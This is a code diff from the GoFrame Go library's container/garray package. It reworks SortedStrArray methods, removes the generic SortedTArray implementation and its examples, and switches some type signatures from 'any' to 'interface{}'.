 		if a.array[i] == "" {
 			a.array = append(a.array[:i], a.array[i+1:]...)
@@ -465,7 +752,6 @@ func (a *SortedStrArray) FilterEmpty() *SortedStrArray {
 	for i := len(a.array) - 1; i >= 0; {
 		if a.array[i] == "" {
 			a.array = append(a.array[:i], a.array[i+1:]...)
-			i--
 		} else {
 			break
 		}
@@ -475,21 +761,40 @@ func (a *SortedStrArray) FilterEmpty() *SortedStrArray {
 
 // Walk applies a user supplied function `f` to every item of array.
 func (a *SortedStrArray) Walk(f func(value string) string) *SortedStrArray {
-	a.lazyInit()
-	a.SortedTArray.Walk(f)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+
+	// Keep the array always sorted.
+	defer quickSortStr(a.array, a.getComparator())
+
+	for i, v := range a.array {
+		a.array[i] = f(v)
+	}
 	return a
 }
 
 // IsEmpty checks whether the array is empty.
 func (a *SortedStrArray) IsEmpty() bool {
-	a.lazyInit()
-	return a.SortedTArray.IsEmpty()
+	return a.Len() == 0
+}
+
+// getComparator returns the comparator if it's previously set,
+// or else it returns a default comparator.
+func (a *SortedStrArray) getComparator() func(a, b string) int {
+	if a.comparator == nil {
+		return defaultComparatorStr
+	}
+	return a.comparator
 }
 
 // DeepCopy implements interface for deep copy of current type.
-func (a *SortedStrArray) DeepCopy() any {
-	a.lazyInit()
-	return &SortedStrArray{
-		SortedTArray: a.SortedTArray.DeepCopy().(*SortedTArray[string]),
+func (a *SortedStrArray) DeepCopy() interface{} {
+	if a == nil {
+		return nil
 	}
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	newSlice := make([]string, len(a.array))
+	copy(newSlice, a.array)
+	return NewSortedStrArrayFrom(newSlice, a.mu.IsSafe())
 }

container/garray/garray_sorted_t.go

@@ -1,852 +0,0 @@
-// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
-//
-// This Source Code Form is subject to the terms of the MIT License.
-// If a copy of the MIT was not distributed with this file,
-// You can obtain one at https://github.com/gogf/gf.
-
-package garray
-
-import (
-	"bytes"
-	"math"
-
-	"github.com/gogf/gf/v2/internal/deepcopy"
-	"github.com/gogf/gf/v2/internal/empty"
-	"github.com/gogf/gf/v2/internal/json"
-	"github.com/gogf/gf/v2/internal/rwmutex"
-	"github.com/gogf/gf/v2/text/gstr"
-	"github.com/gogf/gf/v2/util/gconv"
-	"github.com/gogf/gf/v2/util/grand"
-	"github.com/gogf/gf/v2/util/gutil"
-)
-
-// SortedTArray is a golang sorted array with rich features.
-// It is using increasing order in default, which can be changed by
-// setting it a custom comparator.
-// It contains a concurrent-safe/unsafe switch, which should be set
-// when its initialization and cannot be changed then.
-type SortedTArray[T comparable] struct {
-	mu         rwmutex.RWMutex
-	array      []T
-	unique     bool             // Whether enable unique feature(false)
-	comparator func(a, b T) int // Comparison function(it returns -1: a < b; 0: a == b; 1: a > b)
-	sorter     func(values []T, comparator func(a, b T) int)
-}
-
-// NewSortedTArray creates and returns an empty sorted array.
-// The parameter `safe` is used to specify whether using array in concurrent-safety, which is false in default.
-// The parameter `comparator` used to compare values to sort in array,
-// if it returns value < 0, means `a` < `b`; the `a` will be inserted before `b`;
-// if it returns value = 0, means `a` = `b`; the `a` will be replaced by     `b`;
-// if it returns value > 0, means `a` > `b`; the `a` will be inserted after  `b`;
-func NewSortedTArray[T comparable](comparator func(a, b T) int, safe ...bool) *SortedTArray[T] {
-	if comparator == nil {
-		comparator = gutil.ComparatorTStr
-	}
-	return NewSortedTArraySize(0, comparator, safe...)
-}
-
-// NewSortedTArraySize create and returns an sorted array with given size and cap.
-// The parameter `safe` is used to specify whether using array in concurrent-safety,
-// which is false in default.
-func NewSortedTArraySize[T comparable](cap int, comparator func(a, b T) int, safe ...bool) *SortedTArray[T] {
-	if comparator == nil {
-		comparator = gutil.ComparatorTStr
-	}
-	return &SortedTArray[T]{
-		mu:         rwmutex.Create(safe...),
-		array:      make([]T, 0, cap),
-		comparator: comparator,
-		sorter:     nil,
-	}
-}
-
-// NewSortedTArrayFrom creates and returns an sorted array with given slice `array`.
-// The parameter `safe` is used to specify whether using array in concurrent-safety,
-// which is false in default.
-func NewSortedTArrayFrom[T comparable](array []T, comparator func(a, b T) int, safe ...bool) *SortedTArray[T] {
-	if comparator == nil {
-		comparator = gutil.ComparatorTStr
-	}
-	a := NewSortedTArraySize(0, comparator, safe...)
-	a.array = array
-	a.getSorter()(a.array, a.getComparator())
-	return a
-}
-
-// NewSortedTArrayFromCopy creates and returns an sorted array from a copy of given slice `array`.
-// The parameter `safe` is used to specify whether using array in concurrent-safety,
-// which is false in default.
-func NewSortedTArrayFromCopy[T comparable](array []T, comparator func(a, b T) int, safe ...bool) *SortedTArray[T] {
-	if comparator == nil {
-		comparator = gutil.ComparatorTStr
-	}
-	newArray := make([]T, len(array))
-	copy(newArray, array)
-	return NewSortedTArrayFrom(newArray, comparator, safe...)
-}
-
-func (a *SortedTArray[T]) getSorter() func(values []T, comparator func(a, b T) int) {
-	if a.sorter == nil {
-		return defaultSorter
-	} else {
-		return a.sorter
-	}
-}
-
-// At returns the value by the specified index.
-// If the given `index` is out of range of the array, it returns the zero value of type `T`
-func (a *SortedTArray[T]) At(index int) (value T) {
-	value, _ = a.Get(index)
-	return
-}
-
-// SetArray sets the underlying slice array with the given `array`.
-func (a *SortedTArray[T]) SetArray(array []T) *SortedTArray[T] {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	a.array = array
-	a.getSorter()(a.array, a.getComparator())
-
-	return a
-}
-
-// SetSorter sets/changes the sorter for sorting.
-func (a *SortedTArray[T]) SetSorter(sorter func(values []T, comparator func(a, b T) int)) {
-	if sorter == nil {
-		a.sorter = defaultSorter
-	} else {
-		a.sorter = sorter
-	}
-	a.sorter(a.array, a.getComparator())
-}
-
-// SetComparator sets/changes the comparator for sorting.
-// It resorts the array as the comparator is changed.
-func (a *SortedTArray[T]) SetComparator(comparator func(a, b T) int) {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	if comparator == nil {
-		comparator = gutil.ComparatorTStr
-	}
-	a.comparator = comparator
-	a.getSorter()(a.array, comparator)
-}
-
-// Sort sorts the array in increasing order.
-// The parameter `reverse` controls whether sort
-// in increasing order(default) or decreasing order
-func (a *SortedTArray[T]) Sort() *SortedTArray[T] {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-
-	a.getSorter()(a.array, a.getComparator())
-
-	return a
-}
-
-// Add adds one or multiple values to sorted array, the array always keeps sorted.
-// It's alias of function Append, see Append.
-func (a *SortedTArray[T]) Add(values ...T) *SortedTArray[T] {
-	return a.Append(values...)
-}
-
-// Append adds one or multiple values to sorted array, the array always keeps sorted.
-func (a *SortedTArray[T]) Append(values ...T) *SortedTArray[T] {
-	if len(values) == 0 {
-		return a
-	}
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	for _, value := range values {
-		index, cmp := a.binSearch(value, false)
-		if a.unique && cmp == 0 {
-			continue
-		}
-		if index < 0 {
-			a.array = append(a.array, value)
-			continue
-		}
-		if cmp > 0 {
-			index++
-		}
-		a.array = append(a.array[:index], append([]T{value}, a.array[index:]...)...)
-	}
-	return a
-}
-
-// Get returns the value by the specified index.
-// If the given `index` is out of range of the array, the `found` is false.
-func (a *SortedTArray[T]) Get(index int) (value T, found bool) {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	if index < 0 || index >= len(a.array) {
-		found = false
-		return
-	}
-	return a.array[index], true
-}
-
-// Remove removes an item by index.
-// If the given `index` is out of range of the array, the `found` is false.
-func (a *SortedTArray[T]) Remove(index int) (value T, found bool) {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	return a.doRemoveWithoutLock(index)
-}
-
-// doRemoveWithoutLock removes an item by index without lock.
-func (a *SortedTArray[T]) doRemoveWithoutLock(index int) (value T, found bool) {
-	if index < 0 || index >= len(a.array) {
-		found = false
-		return
-	}
-	// Determine array boundaries when deleting to improve deletion efficiency.
-	if index == 0 {
-		value := a.array[0]
-		a.array = a.array[1:]
-		return value, true
-	} else if index == len(a.array)-1 {
-		value := a.array[index]
-		a.array = a.array[:index]
-		return value, true
-	}
-	// If it is a non-boundary delete,
-	// it will involve the creation of an array,
-	// then the deletion is less efficient.
-	value = a.array[index]
-	a.array = append(a.array[:index], a.array[index+1:]...)
-	return value, true
-}
-
-// RemoveValue removes an item by value.
-// It returns true if value is found in the array, or else false if not found.
-func (a *SortedTArray[T]) RemoveValue(value T) bool {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	if i, r := a.binSearch(value, false); r == 0 {
-		_, res := a.doRemoveWithoutLock(i)
-		return res
-	}
-	return false
-}
-
-// RemoveValues removes an item by `values`.
-func (a *SortedTArray[T]) RemoveValues(values ...T) {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	for _, value := range values {
-		if i, r := a.binSearch(value, false); r == 0 {
-			a.doRemoveWithoutLock(i)
-		}
-	}
-}
-
-// PopLeft pops and returns an item from the beginning of array.
-// Note that if the array is empty, the `found` is false.
-func (a *SortedTArray[T]) PopLeft() (value T, found bool) {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	if len(a.array) == 0 {
-		found = false
-		return
-	}
-	value = a.array[0]
-	a.array = a.array[1:]
-	return value, true
-}
-
-// PopRight pops and returns an item from the end of array.
-// Note that if the array is empty, the `found` is false.
-func (a *SortedTArray[T]) PopRight() (value T, found bool) {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	index := len(a.array) - 1
-	if index < 0 {
-		found = false
-		return
-	}
-	value = a.array[index]
-	a.array = a.array[:index]
-	return value, true
-}
-
-// PopRand randomly pops and return an item out of array.
-// Note that if the array is empty, the `found` is false.
-func (a *SortedTArray[T]) PopRand() (value T, found bool) {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	return a.doRemoveWithoutLock(grand.Intn(len(a.array)))
-}
-
-// PopRands randomly pops and returns `size` items out of array.
-func (a *SortedTArray[T]) PopRands(size int) []T {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	if size <= 0 || len(a.array) == 0 {
-		return nil
-	}
-	if size >= len(a.array) {
-		size = len(a.array)
-	}
-	array := make([]T, size)
-	for i := 0; i < size; i++ {
-		array[i], _ = a.doRemoveWithoutLock(grand.Intn(len(a.array)))
-	}
-	return array
-}
-
-// PopLefts pops and returns `size` items from the beginning of array.
-func (a *SortedTArray[T]) PopLefts(size int) []T {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	if size <= 0 || len(a.array) == 0 {
-		return nil
-	}
-	if size >= len(a.array) {
-		array := a.array
-		a.array = a.array[:0]
-		return array
-	}
-	value := a.array[0:size]
-	a.array = a.array[size:]
-	return value
-}
-
-// PopRights pops and returns `size` items from the end of array.
-func (a *SortedTArray[T]) PopRights(size int) []T {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	if size <= 0 || len(a.array) == 0 {
-		return nil
-	}
-	index := len(a.array) - size
-	if index <= 0 {
-		array := a.array
-		a.array = a.array[:0]
-		return array
-	}
-	value := a.array[index:]
-	a.array = a.array[:index]
-	return value
-}
-
-// Range picks and returns items by range, like array[start:end].
-// Notice, if in concurrent-safe usage, it returns a copy of slice;
-// else a pointer to the underlying data.
-//
-// If `end` is negative, then the offset will start from the end of array.
-// If `end` is omitted, then the sequence will have everything from start up
-// until the end of the array.
-func (a *SortedTArray[T]) Range(start int, end ...int) []T {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	offsetEnd := len(a.array)
-	if len(end) > 0 && end[0] < offsetEnd {
-		offsetEnd = end[0]
-	}
-	if start > offsetEnd {
-		return nil
-	}
-	if start < 0 {
-		start = 0
-	}
-	array := ([]T)(nil)
-	if a.mu.IsSafe() {
-		array = make([]T, offsetEnd-start)
-		copy(array, a.array[start:offsetEnd])
-	} else {
-		array = a.array[start:offsetEnd]
-	}
-	return array
-}
-
-// SubSlice returns a slice of elements from the array as specified
-// by the `offset` and `size` parameters.
-// If in concurrent safe usage, it returns a copy of the slice; else a pointer.
-//
-// If offset is non-negative, the sequence will start at that offset in the array.
-// If offset is negative, the sequence will start that far from the end of the array.
-//
-// If length is given and is positive, then the sequence will have up to that many elements in it.
-// If the array is shorter than the length, then only the available array elements will be present.
-// If length is given and is negative then the sequence will stop that many elements from the end of the array.
-// If it is omitted, then the sequence will have everything from offset up until the end of the array.
-//
-// Any possibility crossing the left border of array, it will fail.
-func (a *SortedTArray[T]) SubSlice(offset int, length ...int) []T {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	size := len(a.array)
-	if len(length) > 0 {
-		size = length[0]
-	}
-	if offset > len(a.array) {
-		return nil
-	}
-	if offset < 0 {
-		offset = len(a.array) + offset
-		if offset < 0 {
-			return nil
-		}
-	}
-	if size < 0 {
-		offset += size
-		size = -size
-		if offset < 0 {
-			return nil
-		}
-	}
-	end := offset + size
-	if end > len(a.array) {
-		end = len(a.array)
-		size = len(a.array) - offset
-	}
-	if a.mu.IsSafe() {
-		s := make([]T, size)
-		copy(s, a.array[offset:])
-		return s
-	} else {
-		return a.array[offset:end]
-	}
-}
-
-// Sum returns the sum of values in an array.
-func (a *SortedTArray[T]) Sum() (sum int) {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	for _, v := range a.array {
-		sum += gconv.Int(v)
-	}
-	return
-}
-
-// Len returns the length of array.
-func (a *SortedTArray[T]) Len() int {
-	a.mu.RLock()
-	length := len(a.array)
-	a.mu.RUnlock()
-	return length
-}
-
-// Slice returns the underlying data of array.
-// Note that, if it's in concurrent-safe usage, it returns a copy of underlying data,
-// or else a pointer to the underlying data.
-func (a *SortedTArray[T]) Slice() []T {
-	var array []T
-	if a.mu.IsSafe() {
-		a.mu.RLock()
-		defer a.mu.RUnlock()
-		array = make([]T, len(a.array))
-		copy(array, a.array)
-	} else {
-		array = a.array
-	}
-	return array
-}
-
-// Interfaces returns current array as []any.
-func (a *SortedTArray[T]) Interfaces() []any {
-	return tToAnySlice(a.Slice())
-}
-
-// Contains checks whether a value exists in the array.
-func (a *SortedTArray[T]) Contains(value T) bool {
-	return a.Search(value) != -1
-}
-
-// Search searches array by `value`, returns the index of `value`,
-// or returns -1 if not exists.
-func (a *SortedTArray[T]) Search(value T) (index int) {
-	if i, r := a.binSearch(value, true); r == 0 {
-		return i
-	}
-	return -1
-}
-
-// Binary search.
-// It returns the last compared index and the result.
-// If `result` equals to 0, it means the value at `index` is equals to `value`.
-// If `result` lesser than 0, it means the value at `index` is lesser than `value`.
-// If `result` greater than 0, it means the value at `index` is greater than `value`.
-func (a *SortedTArray[T]) binSearch(value T, lock bool) (index int, result int) {
-	if lock {
-		a.mu.RLock()
-		defer a.mu.RUnlock()
-	}
-	if len(a.array) == 0 {
-		return -1, -2
-	}
-	min := 0
-	max := len(a.array) - 1
-	mid := 0
-	cmp := -2
-	for min <= max {
-		mid = min + (max-min)/2
-		cmp = a.getComparator()(value, a.array[mid])
-		switch {
-		case cmp < 0:
-			max = mid - 1
-		case cmp > 0:
-			min = mid + 1
-		default:
-			return mid, cmp
-		}
-	}
-	return mid, cmp
-}
-
-// SetUnique sets unique mark to the array,
-// which means it does not contain any repeated items.
-// It also does unique check, remove all repeated items.
-func (a *SortedTArray[T]) SetUnique(unique bool) *SortedTArray[T] {
-	oldUnique := a.unique
-	a.unique = unique
-	if unique && oldUnique != unique {
-		a.Unique()
-	}
-	return a
-}
-
-// Unique uniques the array, clear repeated items.
-func (a *SortedTArray[T]) Unique() *SortedTArray[T] {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	if len(a.array) == 0 {
-		return a
-	}
-	for i := 0; i < len(a.array)-1; {
-		if a.getComparator()(a.array[i], a.array[i+1]) == 0 {
-			a.array = append(a.array[:i+1], a.array[i+2:]...)
-		} else {
-			i++
-		}
-	}
-	return a
-}
-
-// Clone returns a new array, which is a copy of current array.
-func (a *SortedTArray[T]) Clone() (newArray *SortedTArray[T]) {
-	a.mu.RLock()
-	array := make([]T, len(a.array))
-	copy(array, a.array)
-	a.mu.RUnlock()
-	return NewSortedTArrayFrom[T](array, a.comparator, a.mu.IsSafe())
-}
-
-// Clear deletes all items of current array.
-func (a *SortedTArray[T]) Clear() *SortedTArray[T] {
-	a.mu.Lock()
-	if len(a.array) > 0 {
-		a.array = make([]T, 0)
-	}
-	a.mu.Unlock()
-	return a
-}
-
-// LockFunc locks writing by callback function `f`.
-func (a *SortedTArray[T]) LockFunc(f func(array []T)) *SortedTArray[T] {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-
-	// Keep the array always sorted.
-	defer a.getSorter()(a.array, a.getComparator())
-
-	f(a.array)
-	return a
-}
-
-// RLockFunc locks reading by callback function `f`.
-func (a *SortedTArray[T]) RLockFunc(f func(array []T)) *SortedTArray[T] {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	f(a.array)
-	return a
-}
-
-// Merge merges `array` into current array.
-// The parameter `array` can be any garray or slice type.
-// The difference between Merge and Append is Append supports only specified slice type,
-// but Merge supports more parameter types.
-func (a *SortedTArray[T]) Merge(array any) *SortedTArray[T] {
-	var vals []T
-	switch v := array.(type) {
-	case *SortedTArray[T]:
-		vals = v.Slice()
-	case *TArray[T]:
-		vals = v.Slice()
-	case []T:
-		vals = v
-	default:
-		interfaces := gconv.Interfaces(v)
-		if err := gconv.Scan(interfaces, &vals); err != nil {
-			panic(err)
-		}
-	}
-
-	return a.Add(vals...)
-}
-
-// Chunk splits an array into multiple arrays,
-// the size of each array is determined by `size`.
-// The last chunk may contain less than size elements.
-func (a *SortedTArray[T]) Chunk(size int) [][]T {
-	if size < 1 {
-		return nil
-	}
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	length := len(a.array)
-	chunks := int(math.Ceil(float64(length) / float64(size)))
-	var n [][]T
-	for i, end := 0, 0; chunks > 0; chunks-- {
-		end = (i + 1) * size
-		if end > length {
-			end = length
-		}
-		n = append(n, a.array[i*size:end])
-		i++
-	}
-	return n
-}
-
-// Rand randomly returns one item from array(no deleting).
-func (a *SortedTArray[T]) Rand() (value T, found bool) {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	if len(a.array) == 0 {
-		found = false
-		return
-	}
-	return a.array[grand.Intn(len(a.array))], true
-}
-
-// Rands randomly returns `size` items from array(no deleting).
-func (a *SortedTArray[T]) Rands(size int) []T {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	if size <= 0 || len(a.array) == 0 {
-		return nil
-	}
-	array := make([]T, size)
-	for i := 0; i < size; i++ {
-		array[i] = a.array[grand.Intn(len(a.array))]
-	}
-	return array
-}
-
-// Join joins array elements with a string `glue`.
-func (a *SortedTArray[T]) Join(glue string) string {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	if len(a.array) == 0 {
-		return ""
-	}
-	buffer := bytes.NewBuffer(nil)
-	for k, v := range a.array {
-		buffer.WriteString(gconv.String(v))
-		if k != len(a.array)-1 {
-			buffer.WriteString(glue)
-		}
-	}
-	return buffer.String()
-}
-
-// CountValues counts the number of occurrences of all values in the array.
-func (a *SortedTArray[T]) CountValues() map[T]int {
-	m := make(map[T]int)
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	for _, v := range a.array {
-		m[v]++
-	}
-	return m
-}
-
-// Iterator is alias of IteratorAsc.
-func (a *SortedTArray[T]) Iterator(f func(k int, v T) bool) {
-	a.IteratorAsc(f)
-}
-
-// IteratorAsc iterates the array readonly in ascending order with given callback function `f`.
-// If `f` returns true, then it continues iterating; or false to stop.
-func (a *SortedTArray[T]) IteratorAsc(f func(k int, v T) bool) {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	for k, v := range a.array {
-		if !f(k, v) {
-			break
-		}
-	}
-}
-
-// IteratorDesc iterates the array readonly in descending order with given callback function `f`.
-// If `f` returns true, then it continues iterating; or false to stop.
-func (a *SortedTArray[T]) IteratorDesc(f func(k int, v T) bool) {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	for i := len(a.array) - 1; i >= 0; i-- {
-		if !f(i, a.array[i]) {
-			break
-		}
-	}
-}
-
-// String returns current array as a string, which implements like json.Marshal does.
-func (a *SortedTArray[T]) String() string {
-	if a == nil {
-		return ""
-	}
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	buffer := bytes.NewBuffer(nil)
-	buffer.WriteByte('[')
-	s := ""
-	for k, v := range a.array {
-		s = gconv.String(v)
-		if gstr.IsNumeric(s) {
-			buffer.WriteString(s)
-		} else {
-			buffer.WriteString(`"` + gstr.QuoteMeta(s, `"\`) + `"`)
-		}
-		if k != len(a.array)-1 {
-			buffer.WriteByte(',')
-		}
-	}
-	buffer.WriteByte(']')
-	return buffer.String()
-}
-
-// MarshalJSON implements the interface MarshalJSON for json.Marshal.
-// Note that do not use pointer as its receiver here.
-func (a SortedTArray[T]) MarshalJSON() ([]byte, error) {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	return json.Marshal(a.array)
-}
-
-// UnmarshalJSON implements the interface UnmarshalJSON for json.Unmarshal.
-// Note that the comparator is set as string comparator in default.
-func (a *SortedTArray[T]) UnmarshalJSON(b []byte) error {
-	if a.comparator == nil {
-		a.array = make([]T, 0)
-		a.comparator = gutil.ComparatorTStr
-	}
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	if err := json.UnmarshalUseNumber(b, &a.array); err != nil {
-		return err
-	}
-	if a.comparator != nil && a.array != nil {
-		a.getSorter()(a.array, a.comparator)
-	}
-	return nil
-}
-
-// UnmarshalValue is an interface implement which sets any type of value for array.
-// Note that the comparator is set as string comparator in default.
-func (a *SortedTArray[T]) UnmarshalValue(value any) (err error) {
-	if a.comparator == nil {
-		a.comparator = gutil.ComparatorTStr
-	}
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	switch value.(type) {
-	case string, []byte:
-		err = json.UnmarshalUseNumber(gconv.Bytes(value), &a.array)
-	default:
-		if err = gconv.Scan(value, &a.array); err != nil {
-			return
-		}
-	}
-	if a.comparator != nil && a.array != nil {
-		a.getSorter()(a.array, a.comparator)
-	}
-	return err
-}
-
-// FilterNil removes all nil value of the array.
-func (a *SortedTArray[T]) FilterNil() *SortedTArray[T] {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	for i := 0; i < len(a.array); {
-		if empty.IsNil(a.array[i]) {
-			a.array = append(a.array[:i], a.array[i+1:]...)
-		} else {
-			i++
-		}
-	}
-	return a
-}
-
-// Filter iterates array and filters elements using custom callback function.
-// It removes the element from array if callback function `filter` returns true,
-// it or else does nothing and continues iterating.
-func (a *SortedTArray[T]) Filter(filter func(index int, value T) bool) *SortedTArray[T] {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	for i := 0; i < len(a.array); {
-		if filter(i, a.array[i]) {
-			a.array = append(a.array[:i], a.array[i+1:]...)
-		} else {
-			i++
-		}
-	}
-	return a
-}
-
-// FilterEmpty removes all empty value of the array.
-// Values like: 0, nil, false, "", len(slice/map/chan) == 0 are considered empty.
-func (a *SortedTArray[T]) FilterEmpty() *SortedTArray[T] {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	for i := 0; i < len(a.array); {
-		if empty.IsEmpty(a.array[i]) {
-			a.array = append(a.array[:i], a.array[i+1:]...)
-		} else {
-			i++
-		}
-	}
-	return a
-}
-
-// Walk applies a user supplied function `f` to every item of array.
-func (a *SortedTArray[T]) Walk(f func(value T) T) *SortedTArray[T] {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	// Keep the array always sorted.
-	defer a.getSorter()(a.array, a.getComparator())
-
-	for i, v := range a.array {
-		a.array[i] = f(v)
-	}
-	return a
-}
-
-// IsEmpty checks whether the array is empty.
-func (a *SortedTArray[T]) IsEmpty() bool {
-	return a.Len() == 0
-}
-
-// getComparator returns the comparator if it's previously set,
-// or else it panics.
-func (a *SortedTArray[T]) getComparator() func(a, b T) int {
-	if a.comparator == nil {
-		a.comparator = gutil.ComparatorTStr
-	}
-	return a.comparator
-}
-
-// DeepCopy implements interface for deep copy of current type.
-func (a *SortedTArray[T]) DeepCopy() any {
-	if a == nil {
-		return nil
-	}
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-	newSlice := make([]T, len(a.array))
-	for i, v := range a.array {
-		newSlice[i], _ = deepcopy.Copy(v).(T)
-	}
-	return NewSortedTArrayFrom[T](newSlice, a.comparator, a.mu.IsSafe())
-}

container/garray/garray_z_bench_any_test.go

@@ -14,12 +14,12 @@ import (
 
 type anySortedArrayItem struct {
 	priority int64
-	value    any
+	value    interface{}
 }
 
 var (
 	anyArray       = garray.NewArray()
-	anySortedArray = garray.NewSortedArray(func(a, b any) int {
+	anySortedArray = garray.NewSortedArray(func(a, b interface{}) int {
 		return int(a.(anySortedArrayItem).priority - b.(anySortedArrayItem).priority)
 	})
 )

container/garray/garray_z_example_normal_any_test.go

@@ -81,13 +81,13 @@ func ExampleArray_Iterator() {
 	// Iterator is alias of IteratorAsc, which iterates the array readonly in ascending order
 	//  with given callback function `f`.
 	// If `f` returns true, then it continues iterating; or false to stop.
-	array.Iterator(func(k int, v any) bool {
+	array.Iterator(func(k int, v interface{}) bool {
 		fmt.Println(k, v)
 		return true
 	})
 	// IteratorDesc iterates the array readonly in descending order with given callback function `f`.
 	// If `f` returns true, then it continues iterating; or false to stop.
-	array.IteratorDesc(func(k int, v any) bool {
+	array.IteratorDesc(func(k int, v interface{}) bool {
 		fmt.Println(k, v)
 		return true
 	})
@@ -163,7 +163,7 @@ func ExampleArray_Chunk() {
 }
 
 func ExampleArray_PopLeft() {
-	array := garray.NewFrom([]any{1, 2, 3, 4, 5, 6, 7, 8, 9})
+	array := garray.NewFrom([]interface{}{1, 2, 3, 4, 5, 6, 7, 8, 9})
 
 	// Any Pop* functions pick, delete and return the item from array.
 
@@ -180,7 +180,7 @@ func ExampleArray_PopLeft() {
 }
 
 func ExampleArray_PopLefts() {
-	array := garray.NewFrom([]any{1, 2, 3, 4, 5, 6, 7, 8, 9})
+	array := garray.NewFrom([]interface{}{1, 2, 3, 4, 5, 6, 7, 8, 9})
 
 	// Any Pop* functions pick, delete and return the item from array.
 
@@ -197,7 +197,7 @@ func ExampleArray_PopLefts() {
 }
 
 func ExampleArray_PopRight() {
-	array := garray.NewFrom([]any{1, 2, 3, 4, 5, 6, 7, 8, 9})
+	array := garray.NewFrom([]interface{}{1, 2, 3, 4, 5, 6, 7, 8, 9})
 
 	// Any Pop* functions pick, delete and return the item from array.
 
@@ -214,7 +214,7 @@ func ExampleArray_PopRight() {
 }
 
 func ExampleArray_PopRights() {
-	array := garray.NewFrom([]any{1, 2, 3, 4, 5, 6, 7, 8, 9})
+	array := garray.NewFrom([]interface{}{1, 2, 3, 4, 5, 6, 7, 8, 9})
 
 	// Any Pop* functions pick, delete and return the item from array.
 
@@ -265,10 +265,10 @@ func ExampleArray_Merge() {
 func ExampleArray_Filter() {
 	array1 := garray.NewFrom(g.Slice{0, 1, 2, nil, "", g.Slice{}, "john"})
 	array2 := garray.NewFrom(g.Slice{0, 1, 2, nil, "", g.Slice{}, "john"})
-	fmt.Printf("%#v\n", array1.Filter(func(index int, value any) bool {
+	fmt.Printf("%#v\n", array1.Filter(func(index int, value interface{}) bool {
 		return empty.IsNil(value)
 	}).Slice())
-	fmt.Printf("%#v\n", array2.Filter(func(index int, value any) bool {
+	fmt.Printf("%#v\n", array2.Filter(func(index int, value interface{}) bool {
 		return empty.IsEmpty(value)
 	}).Slice())
 

container/garray/garray_z_example_sorted_str_test.go

@@ -381,7 +381,7 @@ func ExampleSortedStrArray_LockFunc() {
 	fmt.Println(s)
 
 	// Output:
-	// ["GF fans","a","b"]
+	// ["a","b","GF fans"]
 }
 
 func ExampleSortedStrArray_RLockFunc() {

container/garray/garray_z_example_sorted_t_test.go

@@ -1,576 +0,0 @@
-// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
-//
-// This Source Code Form is subject to the terms of the MIT License.
-// If a copy of the MIT was not distributed with this file,
-// You can obtain one at https://github.com/gogf/gf.
-
-package garray_test
-
-import (
-	"fmt"
-
-	"github.com/gogf/gf/v2/container/garray"
-	"github.com/gogf/gf/v2/frame/g"
-	"github.com/gogf/gf/v2/internal/empty"
-	"github.com/gogf/gf/v2/internal/json"
-	"github.com/gogf/gf/v2/util/gconv"
-	"github.com/gogf/gf/v2/util/gutil"
-)
-
-func ExampleSortedTArray_Walk() {
-	var array garray.SortedTArray[string]
-	array.SetComparator(gutil.ComparatorT)
-	tables := g.SliceStr{"user", "user_detail"}
-	prefix := "gf_"
-	array.Append(tables...)
-	// Add prefix for given table names.
-	array.Walk(func(value string) string {
-		return prefix + value
-	})
-	fmt.Println(array.Slice())
-
-	// Output:
-	// [gf_user gf_user_detail]
-}
-
-func ExampleNewSortedTArray() {
-	s := garray.NewSortedTArray[string](gutil.ComparatorT)
-	s.Append("b")
-	s.Append("d")
-	s.Append("c")
-	s.Append("a")
-	fmt.Println(s.Slice())
-
-	// Output:
-	// [a b c d]
-}
-
-func ExampleNewSortedTArraySize() {
-	s := garray.NewSortedTArraySize[string](3, gutil.ComparatorT)
-	s.SetArray([]string{"b", "d", "a", "c"})
-	fmt.Println(s.Slice(), s.Len(), cap(s.Slice()))
-
-	// Output:
-	// [a b c d] 4 4
-}
-
-func ExampleNewSortedTArrayFromCopy() {
-	s := garray.NewSortedTArrayFromCopy(g.SliceStr{"b", "d", "c", "a"}, gutil.ComparatorT)
-	fmt.Println(s.Slice())
-
-	// Output:
-	// [a b c d]
-}
-
-func ExampleSortedTArray_At() {
-	s := garray.NewSortedTArrayFrom(g.SliceStr{"b", "d", "c", "a"}, gutil.ComparatorT)
-	sAt := s.At(2)
-	fmt.Println(s)
-	fmt.Println(sAt)
-
-	// Output:
-	// ["a","b","c","d"]
-	// c
-
-}
-
